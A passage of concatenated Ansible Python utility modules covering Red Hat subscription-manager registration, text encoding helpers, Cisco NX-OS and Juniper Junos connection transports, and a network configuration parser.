        if False:
            return os.path.isfile('/etc/pki/consumer/cert.pem') and \
                   os.path.isfile('/etc/pki/consumer/key.pem')

        args = ['subscription-manager', 'identity']
        rc, stdout, stderr = self.module.run_command(args, check_rc=False)
        if rc == 0:
            return True
        else:
            return False

    def register(self, username, password, autosubscribe, activationkey):
        '''
            Register the current system to the provided RHN server
            Raises:
              * Exception - if error occurs while running command
        '''
        args = ['subscription-manager', 'register']

        # Generate command arguments
        if activationkey:
            args.append('--activationkey "%s"' % activationkey)
        else:
            if autosubscribe:
                args.append('--autosubscribe')
            if username:
                args.extend(['--username', username])
            if password:
                args.extend(['--password', password])

        # Do the needful...
        rc, stderr, stdout = self.module.run_command(args, check_rc=True)

    def unsubscribe(self):
        '''
            Unsubscribe a system from all subscribed channels
            Raises:
              * Exception - if error occurs while running command
        '''
        args = ['subscription-manager', 'unsubscribe', '--all']
        rc, stderr, stdout = self.module.run_command(args, check_rc=True)

    def unregister(self):
        '''
            Unregister a currently registered system
            Raises:
              * Exception - if error occurs while running command
        '''
        args = ['subscription-manager', 'unregister']
        rc, stderr, stdout = self.module.run_command(args, check_rc=True)

    def subscribe(self, regexp):
        '''
            Subscribe current system to available pools matching the specified
            regular expression
            Raises:
              * Exception - if error occurs while running command
        '''

        # Available pools ready for subscription
        available_pools = RhsmPools(self.module)

        for pool in available_pools.filter(regexp):
            pool.subscribe()


class RhsmPool(object):
    '''
        Convenience class for housing subscription information
    '''

    def __init__(self, module, **kwargs):
        self.module = module
        for k,v in kwargs.items():
            setattr(self, k, v)

    def __str__(self):
        return str(self.__getattribute__('_name'))

    def subscribe(self):
        args = "subscription-manager subscribe --pool %s" % self.PoolId
        rc, stdout, stderr = self.module.run_command(args, check_rc=True)
        if rc == 0:
            return True
        else:
            return False


class RhsmPools(object):
    """
        This class is used for manipulating pools subscriptions with RHSM
    """
    def __init__(self, module):
        self.module = module
        self.products = self._load_product_list()

    def __iter__(self):
        return self.products.__iter__()

    def _load_product_list(self):
        """
            Loads list of all available pools for system in data structure
        """
        args = "subscription-manager list --available"
        rc, stdout, stderr = self.module.run_command(args, check_rc=True)

        products = []
        for line in stdout.split('\n'):
            # Remove leading+trailing whitespace
            line = line.strip()
            # An empty line implies the end of an output group
            if len(line) == 0:
                continue
            # If a colon ':' is found, parse
            elif ':' in line:
                (key, value) = line.split(':',1)
                key = key.strip().replace(" ", "")  # To unify
                value = value.strip()
                if key in ['ProductName', 'SubscriptionName']:
                    # Remember the name for later processing
                    products.append(RhsmPool(self.module, _name=value, key=value))
                elif products:
                    # Associate value with most recently recorded product
                    products[-1].__setattr__(key, value)
                # FIXME - log some warning?
                #else:
                    # warnings.warn("Unhandled subscription key/value: %s/%s" % (key,value))
        return products

    def filter(self, regexp='^$'):
        '''
            Return a list of RhsmPools whose name matches the provided regular expression
        '''
        r = re.compile(regexp)
        for product in self.products:
            if r.search(product._name):
                yield product







# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Toshio Kuratomi <a.badger@gmail.com>, 2016
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

"""
.. warn:: This module_util is currently internal implementation.
    We want to evaluate this code for stability and API suitability before
    making backwards compatibility guarantees.  The API may change between
    releases.  Do not use this unless you are willing to port your module code.
"""

from ansible.module_utils.six import PY3, text_type, binary_type

def to_bytes(obj, encoding='utf-8', errors=None, nonstring='simplerepr'):
    """Make sure that a string is a byte string

    :arg obj: An object to make sure is a byte string.  In most cases this
        will be either a text string or a byte string.  However, with
        ``nonstring='simplerepr'``, this can be used as a traceback-free
        version of ``str(obj)``.
    :kwarg encoding: The encoding to use to transform from a text string to
        a byte string.  Defaults to using 'utf-8'.
    :kwarg errors: The error handler to use if the text string is not
        encodable using the specified encoding.  Any valid `codecs error
        handler <https://docs.python.org/2/library/codecs.html#codec-base-classes>`_
        may be specified. On Python3 this defaults to 'surrogateescape'.  On
        Python2, this defaults to 'replace'.
    :kwarg nonstring: The strategy to use if a nonstring is specified in
        ``obj``.  Default is 'simplerepr'.  Valid values are:

        :simplerepr: The default.  This takes the ``str`` of the object and
            then returns the bytes version of that string.
        :empty: Return an empty byte string
        :passthru: Return the object passed in
        :strict: Raise a :exc:`TypeError`

    :returns: Typically this returns a byte string.  If a nonstring object is
        passed in this may be a different type depending on the strategy
        specified by nonstring.  This will never return a text string.

    .. note:: If passed a byte string, this function does not check that the
        string is valid in the specified encoding.  If it's important that the
        byte string is in the specified encoding do::

            encoded_string = to_bytes(to_text(input_string, 'latin-1'), 'utf-8')
    """
    if isinstance(obj, binary_type):
        return obj

    if errors is None:
        if PY3:
            errors = 'surrogateescape'
        else:
            errors = 'replace'

    if isinstance(obj, text_type):
        return obj.encode(encoding, errors)

    # Note: We do these last even though we have to call to_bytes again on the
    # value because we're optimizing the common case
    if nonstring == 'simplerepr':
        value = str(obj)
    elif nonstring == 'passthru':
        return obj
    elif nonstring == 'empty':
        # python2.4 doesn't have b''
        return to_bytes('')
    elif nonstring == 'strict':
        raise TypeError('obj must be a string type')
    else:
        raise TypeError('Invalid value %s for to_bytes\' nonstring parameter' % nonstring)

    return to_bytes(value, encoding, errors)

def to_text(obj, encoding='utf-8', errors=None, nonstring='simplerepr'):
    """Make sure that a string is a text string

    :arg obj: An object to make sure is a text string.  In most cases this
        will be either a text string or a byte string.  However, with
        ``nonstring='simplerepr'``, this can be used as a traceback-free
        version of ``str(obj)``.
    :kwarg encoding: The encoding to use to transform from a byte string to
        a text string.  Defaults to using 'utf-8'.
    :kwarg errors: The error handler to use if the byte string is not
        decodable using the specified encoding.  Any valid `codecs error
        handler <https://docs.python.org/2/library/codecs.html#codec-base-classes>`_
        may be specified. On Python3 this defaults to 'surrogateescape'.  On
        Python2, this defaults to 'replace'.
    :kwarg nonstring: The strategy to use if a nonstring is specified in
        ``obj``.  Default is 'simplerepr'.  Valid values are:

        :simplerepr: The default.  This takes the ``str`` of the object and
            then returns the text version of that string.
        :empty: Return an empty text string
        :passthru: Return the object passed in
        :strict: Raise a :exc:`TypeError`

    :returns: Typically this returns a text string.  If a nonstring object is
        passed in this may be a different type depending on the strategy
        specified by nonstring.  This will never return a byte string.
    """
    if isinstance(obj, text_type):
        return obj

    if errors is None:
        if PY3:
            errors = 'surrogateescape'
        else:
            errors = 'replace'

    if isinstance(obj, binary_type):
        return obj.decode(encoding, errors)

    # Note: We do these last even though we have to call to_text again on the
    # value because we're optimizing the common case
    if nonstring == 'simplerepr':
        value = str(obj)
    elif nonstring == 'passthru':
        return obj
    elif nonstring == 'empty':
        return u''
    elif nonstring == 'strict':
        raise TypeError('obj must be a string type')
    else:
        raise TypeError('Invalid value %s for to_text\'s nonstring parameter' % nonstring)

    return to_text(value, encoding, errors)

#: :py:func:`to_native`
#:      Transform a variable into the native str type for the python version
#:
#:      On Python2, this is an alias for
#:      :func:`~ansible.module_utils.to_bytes`.  On Python3 it is an alias for
#:      :func:`~ansible.module_utils.to_text`.  It makes it easier to
#:      transform a variable into the native str type for the python version
#:      the code is running on.  Use this when constructing the message to
#:      send to exceptions or when dealing with an API that needs to take
#:      a native string.  Example::
#:
#:          try:
#:              1//0
#:          except ZeroDivisionError as e:
#:              raise MyException('Encountered and error: %s' % to_native(e))
if PY3:
    to_native = to_text
else:
    to_native = to_bytes






#
# (c) 2015 Peter Sprygada, <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

import re
import collections

from ansible.module_utils.basic import json, get_exception
from ansible.module_utils.network import NetworkModule, NetworkError, ModuleStub
from ansible.module_utils.network import add_argument, register_transport, to_list
from ansible.module_utils.shell import CliBase
from ansible.module_utils.netcfg import NetworkConfig
from ansible.module_utils.netcli import Command
from ansible.module_utils.urls import fetch_url, url_argument_spec

add_argument('use_ssl', dict(default=False, type='bool'))
add_argument('validate_certs', dict(default=True, type='bool'))


class Nxapi(object):

    OUTPUT_TO_COMMAND_TYPE = {
        'text': 'cli_show_ascii',
        'json': 'cli_show',
        'bash': 'bash',
        'config': 'cli_conf'
    }

    def __init__(self):
        self.url = None
        self.url_args = ModuleStub(url_argument_spec(), self._error)
        self._nxapi_auth = None
        self.default_output = 'json'
        self._connected = False

    def _error(self, msg, **kwargs):
        self._nxapi_auth = None
        if 'url' not in kwargs:
            kwargs['url'] = self.url
        raise NetworkError(msg, **kwargs)

    def _get_body(self, commands, output, version='1.0', chunk='0', sid=None):
        """Encodes a NXAPI JSON request message
        """
        try:
            command_type = self.OUTPUT_TO_COMMAND_TYPE[output]
        except KeyError:
            msg = 'invalid format, received %s, expected one of %s' % \
                    (output, ','.join(self.OUTPUT_TO_COMMAND_TYPE.keys()))
            self._error(msg=msg)

        if isinstance(commands, (list, set, tuple)):
            commands = ' ;'.join(commands)

        msg = {
            'version': version,
            'type': command_type,
            'chunk': chunk,
            'sid': sid,
            'input': commands,
            'output_format': 'json'
        }

        return dict(ins_api=msg)

    def connect(self, params, **kwargs):
        host = params['host']
        port = params['port']

        # sets the module_utils/urls.py req parameters
        self.url_args.params['url_username'] = params['username']
        self.url_args.params['url_password'] = params['password']
        self.url_args.params['validate_certs'] = params['validate_certs']

        if params['use_ssl']:
            proto = 'https'
            port = port or 443
        else:
            proto = 'http'
            port = port or 80

        self.url = '%s://%s:%s/ins' % (proto, host, port)
        self._connected = True

    def disconnect(self, **kwargs):
        self.url = None
        self._nxapi_auth = None
        self._connected = False

    def execute(self, commands, output=None, **kwargs):
        commands = collections.deque(commands)
        output = output or self.default_output

        # only 10 commands can be encoded in each request
        # messages sent to the remote device
        stack = list()
        requests = list()

        while commands:
            stack.append(commands.popleft())
            if len(stack) == 10:
                data = self._get_body(stack, output)
                data = self._jsonify(data)
                requests.append(data)
                stack = list()

        if stack:
            data = self._get_body(stack, output)
            data = self._jsonify(data)
            requests.append(data)

        headers = {'Content-Type': 'application/json'}
        result = list()

        for req in requests:
            if self._nxapi_auth:
                headers['Cookie'] = self._nxapi_auth

            response, headers = fetch_url(
                self.url_args, self.url, data=data, headers=headers, method='POST'
            )
            self._nxapi_auth = headers.get('set-cookie')

            if headers['status'] != 200:
                self._error(**headers)

            try:
                response = json.loads(response.read())
            except ValueError:
                raise NetworkError(msg='unable to load response from device')

            output = response['ins_api']['outputs']['output']
            for item in to_list(output):
                if item['code'] != '200':
                    self._error(output=output, **item)
                else:
                    result.append(item['body'])

        return result

    ### implemention of netcli.Cli ###

    def run_commands(self, commands):
        output = None
        cmds = list()
        responses = list()

        for cmd in commands:
            if output and output != cmd.output:
                responses.extend(self.execute(cmds, output=output))
                cmds = list()
            output = cmd.output
            cmds.append(str(cmd))

        if cmds:
            responses.extend(self.execute(cmds, output=output))

        return responses


    ### end of netcli.Cli ###

    ### implemention of netcfg.Config ###

    def configure(self, commands):
        commands = to_list(commands)
        return self.execute(commands, output='config')

    def get_config(self, **kwargs):
        cmd = 'show running-config'
        if kwargs.get('include_defaults'):
            cmd += ' all'
        return self.execute([cmd], output='text')[0]

    def load_config(self, config, **kwargs):
        return self.configure(config)

    def save_config(self, **kwargs):
        self.execute(['copy running-config startup-config'])

    ### end netcfg.Config ###

    def _jsonify(self, data):
        for encoding in ("utf-8", "latin-1"):
            try:
                return json.dumps(data, encoding=encoding)
            # Old systems using old simplejson module does not support encoding keyword.
            except TypeError:
                try:
                    new_data = json_dict_bytes_to_unicode(data, encoding=encoding)
                except UnicodeDecodeError:
                    continue
                return json.dumps(new_data)
            except UnicodeDecodeError:
                continue
        self._error(msg='Invalid unicode encoding encountered')

Nxapi = register_transport('nxapi')(Nxapi)


class Cli(CliBase):

    NET_PASSWD_RE = re.compile(r"[\r\n]?password: $", re.I)

    CLI_PROMPTS_RE = [
        re.compile(r'[\r\n]?[a-zA-Z]{1}[a-zA-Z0-9-]*[>|#|%](?:\s*)$'),
        re.compile(r'[\r\n]?[a-zA-Z]{1}[a-zA-Z0-9-]*\(.+\)#(?:\s*)$')
    ]

    CLI_ERRORS_RE = [
        re.compile(r"% ?Error"),
        re.compile(r"^% \w+", re.M),
        re.compile(r"% ?Bad secret"),
        re.compile(r"invalid input", re.I),
        re.compile(r"(?:incomplete|ambiguous) command", re.I),
        re.compile(r"connection timed out", re.I),
        re.compile(r"[^\r\n]+ not found", re.I),
        re.compile(r"'[^']' +returned error code: ?\d+"),
        re.compile(r"syntax error"),
        re.compile(r"unknown command")
    ]

    def connect(self, params, **kwargs):
        super(Cli, self).connect(params, kickstart=False, **kwargs)
        self.shell.send('terminal length 0')

    ### implementation of netcli.Cli ###

    def run_commands(self, commands):
        cmds = list(prepare_commands(commands))
        responses = self.execute(cmds)
        for index, cmd in enumerate(commands):
            if cmd.output == 'json':
                try:
                    responses[index] = json.loads(responses[index])
                except ValueError:
                    raise NetworkError(
                        msg='unable to load response from device',
                        response=responses[index]
                    )
        return responses

    ### implemented by netcfg.Config ###

    def configure(self, commands, **kwargs):
        commands = prepare_config(commands)
        responses = self.execute(commands)
        responses.pop(0)
        return responses

    def get_config(self, include_defaults=False, **kwargs):
        cmd = 'show running-config'
        if kwargs.get('include_defaults'):
            cmd += ' all'
        return self.execute([cmd])[0]

    def load_config(self, commands, **kwargs):
        return self.configure(commands)

    def save_config(self):
        self.execute(['copy running-config startup-config'])

Cli = register_transport('cli', default=True)(Cli)

def prepare_config(commands):
    commands = to_list(commands)
    commands.insert(0, 'configure')
    commands.append('end')
    return commands

def prepare_commands(commands):
    jsonify = lambda x: '%s | json' % x
    for cmd in to_list(commands):
        if cmd.output == 'json':
            cmd.command = jsonify(cmd)
        yield cmd






#
# (c) 2015 Peter Sprygada, <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

from distutils.version import LooseVersion

from ansible.module_utils.basic import AnsibleModule, env_fallback, get_exception
from ansible.module_utils.shell import Shell, ShellError, HAS_PARAMIKO
from ansible.module_utils.netcfg import parse
from ansible.module_utils.six import string_types

try:
    from jnpr.junos import Device
    from jnpr.junos.utils.config import Config
    from jnpr.junos.version import VERSION
    from jnpr.junos.exception import RpcError, ConfigLoadError, CommitError
    from jnpr.junos.exception import LockError, UnlockError
    if not LooseVersion(VERSION) >= LooseVersion('1.2.2'):
        HAS_PYEZ = False
    else:
        HAS_PYEZ = True
except ImportError:
    HAS_PYEZ = False

try:
    import jxmlease
    HAS_JXMLEASE = True
except ImportError:
    HAS_JXMLEASE = False

try:
    from lxml import etree
except ImportError:
    import xml.etree.ElementTree as etree


NET_COMMON_ARGS = dict(
    host=dict(required=True),
    port=dict(type='int'),
    username=dict(fallback=(env_fallback, ['ANSIBLE_NET_USERNAME'])),
    password=dict(no_log=True, fallback=(env_fallback, ['ANSIBLE_NET_PASSWORD'])),
    ssh_keyfile=dict(fallback=(env_fallback, ['ANSIBLE_NET_SSH_KEYFILE']), type='path'),
    timeout=dict(default=0, type='int'),
    transport=dict(default='netconf', choices=['cli', 'netconf']),
    provider=dict(type='dict')
)


def to_list(val):
    if isinstance(val, (list, tuple)):
        return list(val)
    elif val is not None:
        return [val]
    else:
        return list()


def xml_to_json(val):
    if isinstance(val, string_types):
        return jxmlease.parse(val)
    else:
        return jxmlease.parse_etree(val)

def xml_to_string(val):
    return etree.tostring(val)


class Cli(object):

    def __init__(self, module):
        self.module = module
        self.shell = None

    def connect(self, **kwargs):
        host = self.module.params['host']
        port = self.module.params['port'] or 22

        username = self.module.params['username']
        password = self.module.params['password']
        key_filename = self.module.params['ssh_keyfile']

        allow_agent = (key_filename is not None) or (key_filename is None and password is None)

        try:
            self.shell = Shell()
            self.shell.open(host, port=port, username=username, password=password,
                    key_filename=key_filename, allow_agent=allow_agent)
        except ShellError:
            e = get_exception()
            msg = 'failed to connect to %s:%s - %s' % (host, port, str(e))
            self.module.fail_json(msg=msg)

        if self.shell._matched_prompt.strip().endswith('%'):
            self.shell.send('cli')
        self.shell.send('set cli screen-length 0')

    def run_commands(self, commands, **kwargs):
        try:
            return self.shell.send(commands)
        except ShellError:
            e = get_exception()
            self.module.fail_json(msg=e.message, commands=commands)

    def configure(self, commands, **kwargs):
        commands = to_list(commands)
        commands.insert(0, 'configure')

        if kwargs.get('comment'):
            commands.append('commit and-quit comment "%s"' % kwargs.get('comment'))
        else:
            commands.append('commit and-quit')

        responses = self.shell.send(commands)
        responses.pop(0)
        responses.pop()
        return responses

    def disconnect(self):
        self.shell.close()


class Netconf(object):

    def __init__(self, module):
        self.module = module
        self.device = None
        self.config = None
        self._locked = False

    def _fail(self, msg):
        if self.device:
            if self._locked:
                self.config.unlock()
            self.disconnect()
        self.module.fail_json(msg=msg)

    def connect(self, **kwargs):
        try:
            host = self.module.params['host']
            port = self.module.params['port'] or 830

            user = self.module.params['username']
            passwd = self.module.params['password']
            key_filename = self.module.params['ssh_keyfile']

            self.device = Device(host, user=user, passwd=passwd, port=port,
                    gather_facts=False, ssh_private_key_file=key_filename).open()

            self.config = Config(self.device)

        except Exception:
            exc = get_exception()
            self._fail('unable to connect to %s: %s' % (host, str(exc)))

    def run_commands(self, commands, **kwargs):
        response = list()
        fmt = kwargs.get('format') or 'xml'

        for cmd in to_list(commands):
            try:
                resp = self.device.cli(command=cmd, format=fmt)
                response.append(resp)
            except (ValueError, RpcError):
                exc = get_exception()
                self._fail('Unable to get cli output: %s' % str(exc))
            except Exception:
                exc = get_exception()
                self._fail('Uncaught exception - please report: %s' % str(exc))

        return response

    def unlock_config(self):
        try:
            self.config.unlock()
            self._locked = False
        except UnlockError:
            exc = get_exception()
            self.module.log('unable to unlock config: {0}'.format(str(exc)))

    def lock_config(self):
        try:
            self.config.lock()
            self._locked = True
        except LockError:
            exc = get_exception()
            self.module.log('unable to lock config: {0}'.format(str(exc)))

    def check_config(self):
        if not self.config.commit_check():
            self._fail(msg='Commit check failed')

    def commit_config(self, comment=None, confirm=None):
        try:
            kwargs = dict(comment=comment)
            if confirm and confirm > 0:
                kwargs['confirm'] = confirm
            return self.config.commit(**kwargs)
        except CommitError:
            exc = get_exception()
            msg = 'Unable to commit configuration: {0}'.format(str(exc))
            self._fail(msg=msg)

    def load_config(self, candidate, action='replace', comment=None,
            confirm=None, format='text', commit=True):

        merge = action == 'merge'
        overwrite = action == 'overwrite'

        self.lock_config()

        try:
            self.config.load(candidate, format=format, merge=merge,
                    overwrite=overwrite)
        except ConfigLoadError:
            exc = get_exception()
            msg = 'Unable to load config: {0}'.format(str(exc))
            self._fail(msg=msg)

        diff = self.config.diff()
        self.check_config()
        if commit and diff:
            self.commit_config(comment=comment, confirm=confirm)

        self.unlock_config()

        return diff

    def rollback_config(self, identifier, commit=True, comment=None):

        self.lock_config()

        try:
            result = self.config.rollback(identifier)
        except Exception:
            exc = get_exception()
            msg = 'Unable to rollback config: {0}'.format(str(exc))
            self._fail(msg=msg)

        diff = self.config.diff()
        if commit:
            self.commit_config(comment=comment)

        self.unlock_config()
        return diff

    def disconnect(self):
        if self.device:
            self.device.close()

    def get_facts(self, refresh=True):
        if refresh:
            self.device.facts_refresh()
        return self.device.facts

    def get_config(self, config_format="text"):
        if config_format not in ['text', 'set', 'xml']:
            msg = 'invalid config format... must be one of xml, text, set'
            self._fail(msg=msg)

        ele = self.rpc('get_configuration', format=config_format)
        if config_format in ['text', 'set']:
           return str(ele.text).strip()
        elif config_format == "xml":
            return ele

    def rpc(self, name, format='xml', **kwargs):
        meth = getattr(self.device.rpc, name)
        reply = meth({'format': format}, **kwargs)
        return reply


class NetworkModule(AnsibleModule):

    def __init__(self, *args, **kwargs):
        super(NetworkModule, self).__init__(*args, **kwargs)
        self.connection = None
        self._connected = False

    @property
    def connected(self):
        return self._connected

    def _load_params(self):
        super(NetworkModule, self)._load_params()
        provider = self.params.get('provider') or dict()
        for key, value in provider.items():
            if key in NET_COMMON_ARGS:
                if self.params.get(key) is None and value is not None:
                    self.params[key] = value

    def connect(self):
        cls = globals().get(str(self.params['transport']).capitalize())
        try:
            self.connection = cls(self)
        except TypeError:
            e = get_exception()
            self.fail_json(msg=e.message)

        self.connection.connect()

        msg = 'connecting to host: {username}@{host}:{port}'.format(**self.params)
        self.log(msg)

        self._connected = True

    def load_config(self, commands, **kwargs):
        if not self.connected:
            self.connect()
        return self.connection.load_config(commands, **kwargs)

    def rollback_config(self, identifier, commit=True):
        if not self.connected:
            self.connect()
        return self.connection.rollback_config(identifier)

    def run_commands(self, commands, **kwargs):
        if not self.connected:
            self.connect()
        return self.connection.run_commands(commands, **kwargs)

    def disconnect(self):
        if self.connected:
            self.connection.disconnect()
            self._connected = False

    def get_config(self, **kwargs):
        if not self.connected:
            self.connect()
        return self.connection.get_config(**kwargs)

    def get_facts(self, **kwargs):
        if not self.connected:
            self.connect()
        return self.connection.get_facts(**kwargs)

def get_module(**kwargs):
    """Return instance of NetworkModule
    """
    argument_spec = NET_COMMON_ARGS.copy()
    if kwargs.get('argument_spec'):
        argument_spec.update(kwargs['argument_spec'])
    kwargs['argument_spec'] = argument_spec
    kwargs['check_invalid_arguments'] = False

    module = NetworkModule(**kwargs)

    if module.params['transport'] == 'cli' and not HAS_PARAMIKO:
        module.fail_json(msg='paramiko is required but does not appear to be installed')
    elif module.params['transport'] == 'netconf' and not HAS_PYEZ:
        module.fail_json(msg='junos-eznc >= 1.2.2 is required but does not appear to be installed')
    elif module.params['transport'] == 'netconf' and not HAS_JXMLEASE:
        module.fail_json(msg='jxmlease is required but does not appear to be installed')

    module.connect()
    return module






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c) 2015 Peter Sprygada, <psprygada@ansible.com>
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

import re
import time
import itertools
import shlex
import itertools

from ansible.module_utils.basic import BOOLEANS_TRUE, BOOLEANS_FALSE
from ansible.module_utils.six import string_types

DEFAULT_COMMENT_TOKENS = ['#', '!', '/*', '*/']


def to_list(val):
    if isinstance(val, (list, tuple)):
        return list(val)
    elif val is not None:
        return [val]
    else:
        return list()

class Config(object):

    def __init__(self, connection):
        self.connection = connection

    def __call__(self, commands):
        lines = to_list(commands)
        return self.connection.configure(commands)

    def load_config(self, commands, **kwargs):
        commands = to_list(commands)
        return self.connection.load_config(commands, **kwargs)

    def get_config(self, **kwargs):
        return self.connection.get_config(**kwargs)

    def save_config(self):
        return self.connection.save_config()

class ConfigLine(object):

    def __init__(self, text):
        self.text = text
        self.children = list()
        self.parents = list()
        self.raw = None

    @property
    def line(self):
        line = ['set']
        line.extend([p.text for p in self.parents])
        line.append(self.text)
        return ' '.join(line)

    def __str__(self):
        return self.raw

    def __eq__(self, other):
        if self.text == other.text:
            return self.parents == other.parents

    def __ne__(self, other):
        return not self.__eq__(other)

def ignore_line(text, tokens=None):
    for item in (tokens or DEFAULT_COMMENT_TOKENS):
        if text.startswith(item):
            return True

def get_next(iterable):
    item, next_item = itertools.tee(iterable, 2)
    next_item = itertools.islice(next_item, 1, None)
    return itertools.izip_longest(item, next_item)

def parse(lines, indent, comment_tokens=None):
    toplevel = re.compile(r'\S')
    childline = re.compile(r'^\s*(.+)$')

    ancestors = list()
    config = list()

    for line in str(lines).split('\n'):
        text = str(re.sub(r'([{};])', '', line)).strip()

        cfg = ConfigLine(text)
        cfg.raw = line

        if not text or ignore_line(text, comment_tokens):
            continue

        # handle top level commands
        if toplevel.match(line):
            ancestors = [cfg]

        # handle sub level commands
        else:
            match = childline.match(line)
            line_indent = match.start(1)
            level = int(line_indent / indent)
            parent_level = level - 1

            cfg.parents = ancestors[:level]

            if level > len(ancestors):
                config.append(cfg)
                continue

            for i in range(level, len(ancestors)):
                ancestors.pop()

            ancestors.append(cfg)
            ancestors[parent_level].children.append(cfg)

        config.append(cfg)

    return config

def dumps(objects, output='block'):
    if output == 'block':
        items = [c.raw for c in objects]
    elif output == 'commands':
        items = [c.text for c in objects]
    elif output == 'lines':
        items = list()
        for obj in objects:
            line = list()
            line.extend([p.text for p in obj.parents])
            line.append(obj.text)
            items.append(' '.join(line))
    else:
        raise TypeError('unknown value supplied for keyword output')
    return '\n'.join(items)

class NetworkConfig(object):

    def __init__(self, indent=None, contents=None, device_os=None):
        self.indent = indent or 1
        self._config = list()
        self._device_os = device_os
        self._syntax = 'block' # block, lines, junos

        if self._device_os == 'junos':
            self._syntax = 'junos'

        if contents:
            self.load(contents)

    @property
    def items(self):
        return self._config

    def __str__(self):
        if self._device_os == 'junos':
            return dumps(self.expand_line(self.items), 'lines')
        return dumps(self.expand_line(self.items))

    def load(self, contents):
        self._config = parse(contents, indent=self.indent)

    def load_from_file(self, filename):
        self.load(open(filename).read())

    def get(self, path):
        if isinstance(path, string_types):
            path = [path]
        for item in self._config:
            if item.text == path[-1]:
                parents = [p.text for p in item.parents]
                if parents == path[:-1]:
                    return item

    def get_object(self, path):
        for item in self.items:
            if item.text == path[-1]:
                parents = [p.text for p in item.parents]
                if parents == path[:-1]:
                    return item

    def get_section_objects(self, path):
        if not isinstance(path, list):
            path = [path]
        obj = self.get_object(path)
        if not obj:
            raise ValueError('path does not exist in config')
        return self.expand_section(obj)

    def search(self, regexp, path=None):
        regex = re.compile(r'^%s' % regexp, re.M)

        if path:
            parent = self.get(path)
            if not parent or not parent.children:
                return
            children = [c.text for c in parent.children]
            data = '\n'.join(children)
        else:
            data = str(self)

        match = regex.search(data)
        if match:
            if match.groups():
                values = match.groupdict().values()
                groups = list(set(match.groups()).difference(values))
                return (groups, match.groupdict())
            else:
                return match.group()

    def findall(self, regexp):
        regexp = r'%s' % regexp
        return re.findall(regexp, str(self))

    def expand_line(self, objs):
        visited = set()
        expanded = list()
        for o in objs:
            for p in o.parents:
                if p not in visited:
                    visited.add(p)
                    expanded.append(p)
            expanded.append(o)
            visited.add(o)
        return expanded

    def expand_section(self, configobj, S=None):
        if S is None:
            S = list()
        S.append(configobj)
        for child in configobj.children:
            if child in S:
                continue
            self.expand_section(child, S)
        return S

    def expand_block(self, objects, visited=None):
        items = list()

        if not visited:
            visited = set()

        for o in objects:
            items.append(o)
            visited.add(o)
            for child in o.children:
                items.extend(self.expand_block([child], visited))

        return items

